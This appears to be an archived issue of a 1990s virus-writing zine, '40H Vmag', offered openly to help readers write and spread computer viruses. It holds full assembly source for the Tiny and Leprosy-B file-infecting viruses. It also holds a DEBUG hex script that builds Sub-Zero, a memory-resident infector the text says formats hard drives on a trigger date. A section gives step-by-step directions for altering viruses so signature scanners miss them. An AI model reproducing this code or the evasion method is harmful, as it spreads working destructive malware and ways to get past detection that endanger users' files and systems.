home *** CD-ROM | disk | FTP | other *** search
Text File | 1995-03-29 | 44.1 KB | 1,040 lines |
- 40H Vmag Issue 1 Volume 1 00000
-
- Introduction -
-
- This is a down and dirty zine on wich gives examples on writing viruses
- and this magazines contains code that can be compiled to viruses.
-
- If you are an anti-virus pussy, who is just scared that your hard disk will
- get erased so you have a psycological problem with viruses, erase these
- files. This aint for you.
-
-
- INDEX
-
-
- 001...........................Virus Spotlight, The Tiny virus
- 002...........................How to modify viruses to avoid SCAN
- 003...........................Sub-Zero virus
- 004...........................Simple encryption techniques and Leprosy-B
- 005...........................1992 virus
-
- Staff -
-
- Editior, Technical Consultant - Hellraiser
- Co-Editor, Theory Consultant - Bionic Slasher
-
-
-
-
- 40H Vmag Issue 1 Volume 1 00001
-
-
- - VIRUS SPOTLIGHT -
-
-
- The first virus I would like to spotlight is the Tiny virus, lets see
- what our good friend Patti Hoffman (bitch) has written about it.
-
- Name: Tiny
- Aliases: 163 COM Virus, Tiny 163 Virus, Kennedy-163
- V Status: Rare
- Discovery: June, 1990
- Symptoms: COMMAND.COM & .COM file growth
- Origin: Denmark
- Eff Length: 163 Bytes
- Type Code: PNCK - Parasitic Non-Resident .COM Infector
- Detection Method: ViruScan V64+, VirexPC, F-Prot 1.12+, NAV, IBM Scan 2.00+
- Removal Instructions: Scan/D, F-Prot 1.12+, or Delete infectedfiles
- General Comments:
- The 163 COM Virus, or Tiny Virus, was isolated by Fridrik Skulason
- of Iceland in June 1990. This virus is a non-resident generic
- .COM file infector, and it will infect COMMAND.COM.
-
- The first time a file infected with the 163 COM Virus is executed,
- the virus will attempt to infect the first .COM file in the
- current directory. On bootable diskettes, this file will normally
- be COMMAND.COM. After the first .COM file is infected,each time
- an infected program is executed another .COM file will attempt to
- be infected. Files are infected only if their original length is
- greater than approximately 1K bytes.
-
- Infected .COM files will increase in length by 163 bytes, and have
- date/time stamps in the directory changed to the date/time the
- infection occurred. Infected files will also always end with this
- hex string: '2A2E434F4D00'.
-
- This virus currently does nothing but replicate, and is the
- smallest MS-DOS virus known as of its isolation date.
-
- The Tiny Virus may or may not be related to the Tiny Family.
- ^like she'd know the difference!
-
- OK, Theres the run down on the smallest MS-DOS virus known to man. As for
- it being detected by SCAN we'll see about that.
-
- Here is a dissasembly of the virus, It can be assembled under Turbo Assembler
- or MASM.
-
- -----------------------------------------------------------------------------
-
- PAGE 59,132
-
-
- data_2e equ 1ABh ;start of virus
-
- seg_a segment byte public ;
- assume cs:seg_a, ds:seg_a ;assume cs, ds - code
-
-
- org 100h ;orgin of all COM files
- s proc far
-
- start:
- jmp loc_1 ;jump to virus
-
-
- ;this is a replacement for an infected file
-
- db 0CDh, 20h, 7, 8, 9 ;int 20h
- ;pop es
-
- loc_1:
- call sub_1 ;
-
-
-
- s endp
-
-
- sub_1 proc near ;
- pop si ;locate all virus code via
- sub si,10Bh ;si, cause all offsets will
- mov bp,data_1[si] ;change when virus infects
- add bp,103h ;a COM file
- lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI
- xor cx,cx ;clear cx - find only normal
- ;attributes
- mov ah,4Eh ;find first file
- loc_2:
- int 21h ;
-
- jc loc_6 ;no files found? then quit
- mov dx,9Eh ;offset of filename found
- mov ax,3D02h ;open file for read/write access
- int 21h ;
-
- mov bx,ax ;save handle into bx
- mov ah,3Fh ;read from file
- lea dx,[si+1A8h] ;offset of save buffer
- mov di,dx ;
- mov cx,3 ;read three bytes
- int 21h ;
-
- cmp byte ptr [di],0E9h ;compare buffer to virus id
- ;string
- je loc_4 ;
- loc_3:
- mov ah,4Fh ;find the next file
- jmp short loc_2 ;and test it
- loc_4:
- mov dx,[di+1] ;lsh of offset
- mov data_1[si],dx ;
- xor cx,cx ;msh of offset
- mov ax,4200h ;set the file pointer
- int 21h ;
-
- mov dx,di ;buffer to save read
- mov cx,2 ;read two bytes
- mov ah,3Fh ;read from file
- int 21h ;
-
- cmp word ptr [di],807h ;compare buffer to virus id
- je loc_3 ;same? then find another file
-
- ;heres where we infect a file
-
- xor dx,dx ;set file pointer
- xor cx,cx ;ditto
- mov ax,4202h ;set file pointer
- int 21h ;
-
- cmp dx,0 ;returns msh
- jne loc_3 ;not the same? find another file
- cmp ah,0FEh ;lsh = 254???
- jae loc_3 ;if more or equal find another file
-
- mov ds:data_2e[si],ax ;point to data
- mov ah,40h ;write to file
- lea dx,[si+105h] ;segment:offset of write buffer
- mov cx,0A3h ;write 163 bytes
- int 21h ;
-
- jc loc_5 ;error? then quit
- mov ax,4200h ;set file pointer
- xor cx,cx ;to the top of the file
- mov dx,1 ;
- int 21h ;
-
- mov ah,40h ;write to file
- lea dx,[si+1ABh] ;offset of jump to virus code
- mov cx,2 ;two bytes
- int 21h ;
-
- ;now close the file
-
- loc_5:
- mov ah,3Eh ;close file
- int 21h ;
-
- loc_6:
- jmp bp ;jump to original file
-
- data_1 dw 0 ;
- db '*.COM',0 ;wild card search string
-
-
- sub_1 endp
- seg_a ends
- end start
-
-
- -----------------------------------------------------------------------------
-
- Its good to start off with a simple example like this. As you can see
- what the virus does is use the DOS 4Eh function to find the firsy COM file
- in the directory. If no files are found the program exits. If a file is
- found it compares the virus id string (the virus jump instruction) to the
- first two bytes of the COM file. If they match the program terminates.
- If they don't match the virus will infect the file. Using two key MS-DOS
- functions to infect.
-
- The first -
-
- INT 21h Function 42h
- SET FILE POINTER
-
- AH = 42h
- AL = method code
- BX = file handle
- CX = most significant half to offset
- DX = least " "
-
- If there is an error in executing this function the carry flag will be set,
- and AX will contian the error code. If no error is encountered
-
- DX = most significant half of file pointer
- AX = least " "
-
-
- The second (and most) important function used by any virus is
-
-
- INT 21h Function 40h
- WRITE TO FILE OR DEVICE
-
- AH = 40h
- BX = handle
- CX = number of bytes to write
- DS:DX = segment of buffer
-
- Returns
-
- AX = bytes transferred
-
- on error
-
- AX = Error Code and flag is set.
-
-
- An example of Function 40h is ----
-
-
- mov ah,40h ;set function
- mov bx,handle ;load bx with handle from prev open
- mov cx,virus_size ;load cx with # of bytes to write
- mov dx,offset write_buffer ;load dx with the offset of what to
- ;write to file
- int 21h ;
-
-
- This function is used by 98% of all MS-DOS viruses to copy itself to a
- victim file.
-
-
- Now heres a sample project - create a new strain of Tiny, have it restore
- the original date and time etc...
-
- HR
- 40H Vmag Issue 1 Volume 1 00002
-
- - HOW TO MODIFY A VIRUS SO SCAN WON'T CATCH IT -
- OR
- HOW TO CREATE NEW VIRUS STRAINS
-
-
- The problem with most viruses is that this dickhead who lives in California
- named John Mcafee gets his greedy hands on them and turns them into big
- bucks -- for him. John boy is the reason there are over 500 viruses out
- there, and I wouldn't doubt if he weren't resposible for writing at least
- ten of them.
-
- So the best thing to do to some Mcafee dependant sucker, or lame board is
- this.
-
- Say you have a copy of a played out virus, lets say an older one like
- Armstand or Jerusalem. Almost every virus scanner can detect these
- viruses cause they been around so long. Now heres a quick way to modify
- viruses so the scanners wont catch them, in turn making them new strains.
-
- The tools you need are --
-
- Norton Utilites
- Debug and/or
- Turbo Debugger by Borland
-
- Now heres what you do.
-
- Step A
- ------
-
- Make a target file like this with Debug
-
- Copy the below file with your editor to a file called SAMPLE.USR
-
- -------------------------------------------------------------------------------
- n sample.com
- a
- int 20
-
- rcx
- 2
- w
- q
- ------------------------------------------------------------------------------
- Then uses Debug to make the file SAMPLE.COM executing this command --
-
- DEBUG < SAMPLE.USR
-
- This will make a two byte called SAMPLE.COM
-
-
- STEP B
- ------
-
- Infect the file with the virus. If this is a boot sector virus your on
- your own. Do whatever you have to to infect the two byte file.
-
-
- Make a copy of the file and keep it for safe keeping.
-
- STEP C
- ------
-
- Load up DISKEDIT, which comes with Norton 6.0 (I'm not sure if its in the
- lower versions) PCTOOLS Hex Editor will work too but it takes more work.
-
- Now have DISKEDIT Hex-edit the infected file.
-
- Now figure out where the middle of the file is. Next put block on and
- go to the end of the file. At the end of the file go to the edit screen and
- select fill. Fill the lower half of the file will nonsense characters, its
- good to select 255d (FFh) the blank character.
-
- Now save your changes and go to DOS
-
- Now use SCAN to scan the file for viruses. If it detects the virus you
- didnt delete the search string that SCAN is searching for. Get it???
-
- You see all SCAN does is search files for strings that are related to viruses.
- For example if SCAN was looking for CASCADE it look for something like this-
-
- EB1DAD1273D1FF121F
-
-
- In every file you specify. So what we are doing is narrowing down where that
- string is in the virus that SCAN keeps finding.
-
- So what you have to do is keep deleting parts of the virus with DISKEDIT
- untill you finally narrow down the string.
-
- Keep this in mind, search strings are in the first 150 bytes of the file
- about 75% of the time.
-
- Ok lets say you narrowed down the search string and lets say it's -
-
- B8 92 19 B7 21 CD
-
- It will most likly be longer but this an example.
-
- Now back to DEBUG - Do the following--
-
- DEBUG
-
- E 0100 b8 92 19 b7 21 cd -- this is the string you found
-
- Then type --
-
- U
-
- This will give you a unassembled look at what the id-string is. In this
- example it was
-
-
- mov ax,1992h
- mov bx,21h
- int 21h
-
-
- Now this is what you have to do, and keep in mind the following ---
-
- THE FOLLOWING TAKES A SOMEWHAT KNOWING OF ASSEMBLER AND HOW IT WORKS!!!!!!
-
- Uses Turbo Debugger to find the string, you can use DEBUG but I don't know
- how to do this from debug.
-
- Ok say you got the string on the screen --
-
- mov ax,1992h
- mov bh,21h
- int 21h
-
- Write down the locations in the file where these strings are. Ex 0100h etc..
-
- Now rearrange the AX mov with the BX mov like this ---
-
- mov bh,21h
- mov ax,1992h
- int 21h
-
- You see? You didn't change the way the code functions (THATS IF YOU KNOW
- WHAT YOUR DOING!) but you changed the codes id-string for SCAN.
-
- Now since Turbo Debugger dosent let you save the changes you must do it
- via - Debug.
-
- DEBUG virus.com
-
- a 0122 - This is the address of the string
-
- Now enter the assembler instructions --
-
- mov bh,21
- mov ax,1992h
- int 21h
-
- w
-
- q
-
- Save it and SCAN it, if SCAN doesn't catch it Congrats. If it does ---
- back to the lab. Oh well you get the point.
-
- One warning, this only works with un-encrypting viruses, or on the
- encryption mechanism of encrypting files (which will most likely be Scanned).
-
- With that in mind, have fun.
-
- HR
- 40H Vmag Issue 1 Volume 1 00003
-
- - SUB-ZERO VIRUS -
-
-
-
- Heres one for all of you who don't have an assembler. It can be
- compiled using debug by naming the insert below SUB-ZERO.USR and
- executing the command -
-
- DEBUG < SUB-ZERO.USR
-
- ------------------------------------------------------------------------------
- n sub-zero.com
- e 0100 E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
- e 0110 00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
- e 0120 3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
- e 0130 0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
- e 0140 00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
- e 0150 5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
- e 0160 07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
- e 0170 05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
- e 0180 B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
- e 0190 00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
- e 01A0 FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
- e 01B0 8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
- e 01C0 B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
- e 01D0 00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
- e 01E0 2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
- e 01F0 E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
- e 0200 00 2E FF 2E 47 00 33 C0 8E C0 8B 89 31 DB 2E A3
- e 0210 4B 00 26 A0 FE 03 2E A2 4D 00 26 C7 06 FC 03 F3
- e 0220 A5 26 C6 06 FE 03 CB 58 04 10 90 8E C0 0E 1F B9
- e 0230 00 03 B1 88 33 F6 8B FE 06 B8 42 01 50 EA FC 03
- e 0240 00 00 8C C8 8E D0 BC 00 07 33 C0 8E D8 2E A1 4B
- e 0250 00 A3 FC 03 2E A0 4D 00 A2 FE 03 8B DC B1 04 D3
- e 0260 EB 83 C3 10 2E 89 1E 33 00 B4 4A 2E 8E 06 31 00
- e 0270 CD 21 B8 21 35 CD 21 2E 89 1E 17 00 2E 8C 06 19
- e 0280 00 0E 1F BA 5B 02 B8 21 25 CD 21 8E 06 31 00 26
- e 0290 8E 06 2C 00 33 FF B9 FF 7F 32 C0 F2 AE 26 38 05
- e 02A0 E0 F9 8B D7 83 C2 03 B8 00 4B 06 1F 0E 07 BB 35
- e 02B0 00 52 51 53 50 06 1E B4 2A CD 21 2E C6 06 0E 00
- e 02C0 00 81 F9 C6 07 74 30 3C 05 75 0D 80 FA 17 72 08
- e 02D0 2E FE 06 0E 00 EB 20 90 B8 08 35 CD 21 2E 89 1E
- e 02E0 13 00 2E 8C 06 15 00 0E 1F C7 06 1F 00 48 3F B8
- e 02F0 08 25 BA 1E 02 CD 21 1F 07 58 5B 59 5A 9C 2E FF
- e 0300 1E 17 00 1E 07 B4 49 CD 21 B4 4D CD 21 B4 31 BA
- e 0310 00 06 B1 04 D3 EA 83 C2 10 CD 21 32 C0 CF 2E 83
- e 0320 3E 1F 00 09 75 17 52 51 50 B4 2A CD 21 81 FA 06
- e 0330 06 75 07 B8 01 07 B2 80 CD 13 58 59 5A 2E 83 2E
- e 0340 1F 00 01 EB 11 20 20 53 75 62 2D 5A 65 72 6F 20
- e 0350 4E 59 48 43 20 20 2E FF 2E 13 00 9C 80 FC E0 75
- e 0360 05 B8 00 03 9D CF 80 FC DE 74 2D 80 FC DD 74 0E
- e 0370 3D 00 4B 75 03 E9 B4 00 9D 2E FF 2E 17 00 58 58
- e 0380 B8 00 01 2E A3 0A 00 58 2E A3 0C 00 F3 A4 9D 2E
- e 0390 A1 0F 00 2E FF 2E 0A 00 83 C4 06 9D 8C C8 8E D0
- e 03A0 BC 10 07 06 06 33 FF 0E 07 B9 10 00 8B F3 BF 21
- e 03B0 00 F3 A4 8C D8 8E C0 2E F7 26 7A 00 2E 03 06 2B
- e 03C0 00 83 D2 00 2E F7 36 7A 00 8E D8 8B F2 8B FA 8C
- e 03D0 C5 2E 8B 1E 2F 00 0B DB 74 13 B9 00 80 F3 A5 05
- e 03E0 00 10 81 C5 00 10 8E D8 8E C5 4B 75 ED 2E 8B 0E
- e 03F0 2D 00 F3 A4 58 50 05 10 00 2E 01 06 29 00 2E 01
- e 0400 06 25 00 2E A1 21 00 1F 07 2E 8E 16 29 00 2E 8B
- e 0410 26 27 00 2E FF 2E 23 00 33 C9 B8 01 43 CD 21 B4
- e 0420 3C CD 21 B8 00 4B 9D 2E FF 2E 17 00 2E 80 3E 0E
- e 0430 00 01 74 E4 2E C7 06 70 00 FF FF 2E C7 06 8F 00
- e 0440 00 00 2E 89 16 80 00 2E 8C 1E 82 00 50 53 51 52
- e 0450 56 57 1E 06 FC 8B FA 32 D2 80 7D 01 3A 75 05 8A
- e 0460 15 80 E2 1F B4 36 CD 21 3D FF FF 75 03 E9 77 02
- e 0470 F7 E3 F7 E1 0B D2 75 05 3D 10 07 72 F0 2E 8B 16
- e 0480 80 00 1E 07 32 C0 B9 41 00 F2 AE 2E 8B 36 80 00
- e 0490 8A 04 0A C0 74 0E 3C 61 72 07 3C 7A 77 03 80 2C
- e 04A0 20 46 EB EC B9 0B 00 2B F1 BF 84 00 0E 07 B9 0B
- e 04B0 00 F3 A6 75 03 E9 2F 02 B8 00 43 CD 21 72 05 2E
- e 04C0 89 0E 72 00 72 25 32 C0 2E A2 4E 00 1E 07 8B FA
- e 04D0 B9 41 00 F2 AE 80 7D FE 4D 74 0B 80 7D FE 6D 74
- e 04E0 05 2E FE 06 4E 00 B8 00 3D CD 21 72 5A 2E A3 70
- e 04F0 00 8B D8 B8 02 42 B9 FF FF BA FB FF CD 21 72 EB
- e 0500 05 05 00 2E A3 11 00 B9 05 00 BA 6B 00 8C C8 8E
- e 0510 D8 8E C0 B4 3F CD 21 8B FA BE 05 00 F3 A6 75 07
- e 0520 B4 3E CD 21 E9 C0 01 B8 24 35 CD 21 89 1E 1B 00
- e 0530 8C 06 1D 00 BA 1B 02 B8 24 25 CD 21 C5 16 80 00
- e 0540 33 C9 B8 01 43 CD 21 72 3B 2E 8B 1E 70 00 B4 3E
- e 0550 CD 21 2E C7 06 70 00 FF FF B8 02 3D CD 21 72 24
- e 0560 2E A3 70 00 8C C8 8E D8 8E C0 8B 1E 70 00 B8 00
- e 0570 57 CD 21 89 16 74 00 89 0E 76 00 B8 00 42 33 C9
- e 0580 8B D1 CD 21 72 3D 80 3E 4E 00 00 74 03 EB 57 90
- e 0590 BB 00 10 B4 48 CD 21 73 0B B4 3E 8B 1E 70 00 CD
- e 05A0 21 E9 43 01 FF 06 8F 00 8E C0 33 F6 8B FE B9 10
- e 05B0 07 F3 A4 8B D7 8B 0E 11 00 8B 1E 70 00 06 1F B4
- e 05C0 3F CD 21 72 1C 03 F9 33 C9 8B D1 B8 00 42 CD 21
- e 05D0 BE 05 00 B9 05 00 F3 2E A4 8B CF 33 D2 B4 40 CD
- e 05E0 21 72 0D E9 BC 00 B9 1C 00 BA 4F 00 B4 3F CD 21
- e 05F0 72 4A C7 06 61 00 84 19 A1 5D 00 A3 45 00 A1 5F
- e 0600 00 A3 43 00 A1 63 00 A3 47 00 A1 65 00 A3 49 00
- e 0610 A1 53 00 83 3E 51 00 00 74 01 48 F7 26 78 00 03
- e 0620 06 51 00 83 D2 00 05 0F 00 83 D2 00 25 F0 FF A3
- e 0630 7C 00 89 16 7E 00 05 10 07 83 D2 00 72 3A F7 36
- e 0640 78 00 0B D2 74 01 40 A3 53 00 89 16 51 00 A1 7C
- e 0650 00 8B 16 7E 00 F7 36 7A 00 2B 06 57 00 A3 65 00
- e 0660 C7 06 63 00 C5 00 A3 5D 00 C7 06 5F 00 10 07 33
- e 0670 C9 8B D1 B8 00 42 CD 21 72 0A B9 1C 00 BA 4F 00
- e 0680 B4 40 CD 21 72 11 3B C1 75 18 8B 16 7C 00 8B 0E
- e 0690 7E 00 B8 00 42 CD 21 72 09 33 D2 B9 10 07 B4 40
- e 06A0 CD 21 2E 83 3E 8F 00 00 74 04 B4 49 CD 21 2E 83
- e 06B0 3E 70 00 FF 74 31 2E 8B 1E 70 00 2E 8B 16 74 00
- e 06C0 2E 8B 0E 76 00 B8 01 57 CD 21 B4 3E CD 21 2E C5
- e 06D0 16 80 00 2E 8B 0E 72 00 B8 01 43 CD 21 2E C5 16
- e 06E0 1B 00 B8 24 25 CD 21 07 1F 5F 5E 5A 59 5B 58 9D
- e 06F0 2E FF 2E 17 00 00 00 00 00 00 00 00 00 00 00 00
- e 0700 4D 9F 19 00 10 00 00 00 45 44 00 45 4C 00 00 00
- e 0710 E9 92 00 DA AA A3 AA D4 3A A3 00 01 23 31 00 00
- e 0720 00 02 00 04 01 64 30 A0 06 55 2E 56 05 9F 19 A5
- e 0730 3E 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 06
- e 0740 0E 97 30 80 00 00 00 80 00 97 30 5C 00 97 30 6C
- e 0750 00 97 30 00 40 46 63 F4 1D D0 5C 00 00 46 00 4D
- e 0760 5A A0 01 39 00 B4 02 AF 00 7C 04 7C A4 FA 05 10
- e 0770 07 84 19 C5 00 FA 05 1C 00 00 00 00 00 00 00 00
- e 0780 05 00 20 00 21 00 28 02 00 02 10 00 90 6A 00 00
- e 0790 B9 41 2A 97 4C 4F 52 44 20 53 4B 49 53 4D 20 01
- e 07A0 00 00 00 00 00 FC B4 E0 CD 21 3D 00 E0 73 16 80
- e 07B0 FC 03 72 11 BF 00 01 B4 DD BE 10 07 03 F7 2E 8B
- e 07C0 8D 11 00 CD 21 8C C8 04 10 00 8E D0 BC 00 07 50
- e 07D0 B8 C5 00 50 CB 06 FC 2E 8C 06 31 00 2E 8C 06 39
- e 07E0 00 2E 8C 06 3D 00 2E 8C 06 41 00 8C C0 05 10 00
- e 07F0 2E 01 06 49 00 2E 01 06 45 00 B4 E0 CD 21 80 FC
- e 0800 E0 73 13 80 FC 03 07 2E 8E 16 45 00 2E 8B 26 43
- e 0810 CD 20 A3 AA D4 3A A3 1A 1A 1A 1A 1A 1A 1A 1A 1A
-
- rcx
- 717
- w
- q
- ------------------------------------------------------------------------------
-
- Sub-Zero is a memory resident COM and EXE infector that is based somewhat on
- on Jerusalem-B. It is the ansestor to the virus Captian Trips
- which at this time has not been nailed by SCAN.
-
- Be carefull because this virus will most likly format you hard drive if you
- run it on the wrong day. One day of the year it will perform a HD format.
- I think it's in June, hmmmm... D-Day rings a bell.
-
- As of Scan-77 this virus can not be detected by SCAN or F-Prot.
-
- HR
- 40H Vmag Issue 1 Volume 1 00004
-
- - SIMPLE ENCRYPTION METHODS -
-
-
- Encryption is perhaps one of the key parts of writing a virus. If you
- have a virus that prints a message to the screen, you don't want infected
- files to contain that message.
-
- One easy way to encrypt data is the XOR method. XOR is a matamatical
- function that can be used to cifer and decifer data with the same key.
-
- Example --
-
- FF xor A1 = 5E
- byte to encrypt^ ^key ^result
-
- and likewise
-
- 5E xor A1 = FF
-
- So as you can see an easy way to encrypt/decrypt sensitve data is with the
- XOR function.
-
- A popular virus that demonstrates this teqnique is Leprosy-B. By studing the
- below example you are on the way to make simple encrypted viruses.
-
- ------------------------------------------------------------------------------
-
- ; <LEPROSYB.ASM> - Leprosy-B Virus Source
- ; Copy-ya-right (c) 1990 by PCM2.
- ;
- ; This file is the source code to the Leprosy-B virus. It should
- ; be assembled with an MASM-compatible assembler; it has been tested
- ; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
- ; It should be made into a .COM file before executing, with either
- ; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
- ;
- ; This program has the potential to permanently destroy executable
- ; images on any disk medium. Other modifications may have been made
- ; subsequent to the original release by the author, either benign,
- ; or which could result in further harm should this program be run.
- ; In any case, the author assumes no responsibility for any damage
- ; caused by this program, incidental or otherwise. As a precaution,
- ; this program should not be turned over to irresponsible hands...
- ; (unlike people like us, that is).
-
-
- title "Leprosy-B Virus by PCM2, August 1990"
-
- cr equ 13 ; Carriage return ASCII code
- lf equ 10 ; Linefeed ASCII code
- tab equ 9 ; Tab ASCII code
- virus_size equ 666 ; Size of the virus file
- code_start equ 100h ; Address right after PSP in memory
- dta equ 80h ; Addr of default disk transfer area
- datestamp equ 24 ; Offset in DTA of file's date stamp
- timestamp equ 22 ; Offset in DTA of file's time stamp
- filename equ 30 ; Offset in DTA of ASCIIZ filename
- attribute equ 21 ; Offset in DTA of file attribute
-
-
- code segment 'code' ; Open code segment
- assume cs:code,ds:code ; One segment for both code & data
- org code_start ; Start code image after PSP
-
- ;---------------------------------------------------------------------
- ; All executable code is contained in boundaries of procedure "main".
- ; The following code, until the start of "virus_code", is the non-
- ; encrypted CMT portion of the code to load up the real program.
- ;---------------------------------------------------------------------
- main proc near ; Code execution begins here
- call encrypt_decrypt ; Decrypt the real virus code
- jmp random_mutation ; Put the virus into action
-
- encrypt_val db 00h ; Hold value to encrypt by here
-
- ; ---------- Encrypt, save, and restore the virus code -----------
- infect_file:
- mov bx,handle ; Get the handle
- push bx ; Save it on the stack
- call encrypt_decrypt ; Encrypt most of the code
- pop bx ; Get back the handle
- mov cx,virus_size ; Total number of bytes to write
- mov dx,code_start ; Buffer where code starts in memory
- mov ah,40h ; DOS write-to-handle service
- int 21h ; Write the virus code into the file
- call encrypt_decrypt ; Restore the code as it was
- ret ; Go back to where you came from
-
- ; --------------- Encrypt or decrypt the virus code ----------------
- encrypt_decrypt:
- mov bx,offset virus_code ; Get address to start encrypt/decrypt
- xor_loop: ; Start cycle here
- mov ah,[bx] ; Get the current byte
- xor ah,encrypt_val ; Engage/disengage XOR scheme on it
- mov [bx],ah ; Put it back where we got it
- inc bx ; Move BX ahead a byte
- cmp bx,offset virus_code+virus_size ; Are we at the end?
- jle xor_loop ; If not, do another cycle
- ret ; and go back where we came from
-
- ;-----------------------------------------------------------------------
- ; The rest of the code from here on remains encrypted until run-time,
- ; using a fundamental XOR technique that changes via CMT.
- ;-----------------------------------------------------------------------
- virus_code:
-
- ;----------------------------------------------------------------------------
- ; All strings are kept here in the file, and automatically encrypted.
- ; Please don't be a lamer and change the strings and say you wrote a virus.
- ; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
- ; changes, even when the strings stay the same.
- ;----------------------------------------------------------------------------
- exe_filespec db "*.EXE",0
- com_filespec db "*.COM",0
- newdir db "..",0
- fake_msg db cr,lf,"Program too big to fit in memory$"
- virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
- virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
- virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
- virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
- compare_buf db 20 dup (?) ; Buffer to compare files in
- files_found db ?
- files_infected db ?
- orig_time dw ?
- orig_date dw ?
- orig_attr dw ?
- handle dw ?
- success db ?
-
- random_mutation: ; First decide if virus is to mutate
- mov ah,2ch ; Set up DOS function to get time
- int 21h
- cmp encrypt_val,0 ; Is this a first-run virus copy?
- je install_val ; If so, install whatever you get.
- cmp dh,15 ; Is it less than 16 seconds?
- jg find_extension ; If not, don't mutate this time
- install_val:
- cmp dl,0 ; Will we be encrypting using zero?
- je random_mutation ; If so, get a new value.
- mov encrypt_val,dl ; Otherwise, save the new value
- find_extension: ; Locate file w/ valid extension
- mov files_found,0 ; Count infected files found
- mov files_infected,4 ; BX counts file infected so far
- mov success,0
- find_exe:
- mov cx,00100111b ; Look for all flat file attributes
- mov dx,offset exe_filespec ; Check for .EXE extension first
- mov ah,4eh ; Call DOS find first service
- int 21h
- cmp ax,12h ; Are no files found?
- je find_com ; If not, nothing more to do
- call find_healthy ; Otherwise, try to find healthy .EXE
- find_com:
- mov cx,00100111b ; Look for all flat file attributes
- mov dx,offset com_filespec ; Check for .COM extension now
- mov ah,4eh ; Call DOS find first service
- int 21h
- cmp ax,12h ; Are no files found?
- je chdir ; If not, step back a directory
- call find_healthy ; Otherwise, try to find healthy .COM
- chdir: ; Routine to step back one level
- mov dx,offset newdir ; Load DX with address of pathname
- mov ah,3bh ; Change directory DOS service
- int 21h
- dec files_infected ; This counts as infecting a file
- jnz find_exe ; If we're still rolling, find another
- jmp exit_virus ; Otherwise let's pack it up
- find_healthy:
- mov bx,dta ; Point BX to address of DTA
- mov ax,[bx]+attribute ; Get the current file's attribute
- mov orig_attr,ax ; Save it
- mov ax,[bx]+timestamp ; Get the current file's time stamp
- mov orig_time,ax ; Save it
- mov ax,[bx]+datestamp ; Get the current file's data stamp
- mov orig_date,ax ; Save it
- mov dx,dta+filename ; Get the filename to change attribute
- mov cx,0 ; Clear all attribute bytes
- mov al,1 ; Set attribute sub-function
- mov ah,43h ; Call DOS service to do it
- int 21h
- mov al,2 ; Set up to open handle for read/write
- mov ah,3dh ; Open file handle DOS service
- int 21h
- mov handle,ax ; Save the file handle
- mov bx,ax ; Transfer the handle to BX for read
- mov cx,20 ; Read in the top 20 bytes of file
- mov dx,offset compare_buf ; Use the small buffer up top
- mov ah,3fh ; DOS read-from-handle service
- int 21h
- mov bx,offset compare_buf ; Adjust the encryption value
- mov ah,encrypt_val ; for accurate comparison
- mov [bx+6],ah
- mov si,code_start ; One array to compare is this file
- mov di,offset compare_buf ; The other array is the buffer
- mov ax,ds ; Transfer the DS register...
- mov es,ax ; ...to the ES register
- cld
- repe cmpsb ; Compare the buffer to the virus
- jne healthy ; If different, the file is healthy!
- call close_file ; Close it up otherwise
- inc files_found ; Chalk up another fucked up file
- continue_search:
- mov ah,4fh ; Find next DOS function
- int 21h ; Try to find another same type file
- cmp ax,12h ; Are there any more files?
- je no_more_found ; If not, get outta here
- jmp find_healthy ; If so, try the process on this one!
- no_more_found:
- ret ; Go back to where we came from
- healthy:
- mov bx,handle ; Get the file handle
- mov ah,3eh ; Close it for now
- int 21h
- mov ah,3dh ; Open it again, to reset it
- mov dx,dta+filename
- mov al,2
- int 21h
- mov handle,ax ; Save the handle again
- call infect_file ; Infect the healthy file
- call close_file ; Close down this operation
- inc success ; Indicate we did something this time
- dec files_infected ; Scratch off another file on agenda
- jz exit_virus ; If we're through, terminate
- jmp continue_search ; Otherwise, try another
- ret
- close_file:
- mov bx,handle ; Get the file handle off the stack
- mov cx,orig_time ; Get the date stamp
- mov dx,orig_date ; Get the time stamp
- mov al,1 ; Set file date/time sub-service
- mov ah,57h ; Get/Set file date and time service
- int 21h ; Call DOS
- mov bx,handle
- mov ah,3eh ; Close handle DOS service
- int 21h
- mov cx,orig_attr ; Get the file's original attribute
- mov al,1 ; Instruct DOS to put it back there
- mov dx,dta+filename ; Feed it the filename
- mov ah,43h ; Call DOS
- int 21h
- ret
- exit_virus:
- cmp files_found,6 ; Are at least 6 files infected?
- jl print_fake ; If not, keep a low profile
- cmp success,0 ; Did we infect anything?
- jg print_fake ; If so, cover it up
- mov ah,09h ; Use DOS print string service
- mov dx,offset virus_msg1 ; Load the address of the first line
- int 21h ; Print it
- mov dx,offset virus_msg2 ; Load the second line
- int 21h ; (etc)
- mov dx,offset virus_msg3
- int 21h
- mov dx,offset virus_msg4
- int 21h
- jmp terminate
- print_fake:
- mov ah,09h ; Use DOS to print fake error message
- mov dx,offset fake_msg
- int 21h
- terminate:
- mov ah,4ch ; DOS terminate process function
- int 21h ; Call DOS to get out of this program
-
- filler db 8 dup (90h) ; Pad out the file length to 666 bytes
-
- main endp
- code ends
- end main
-
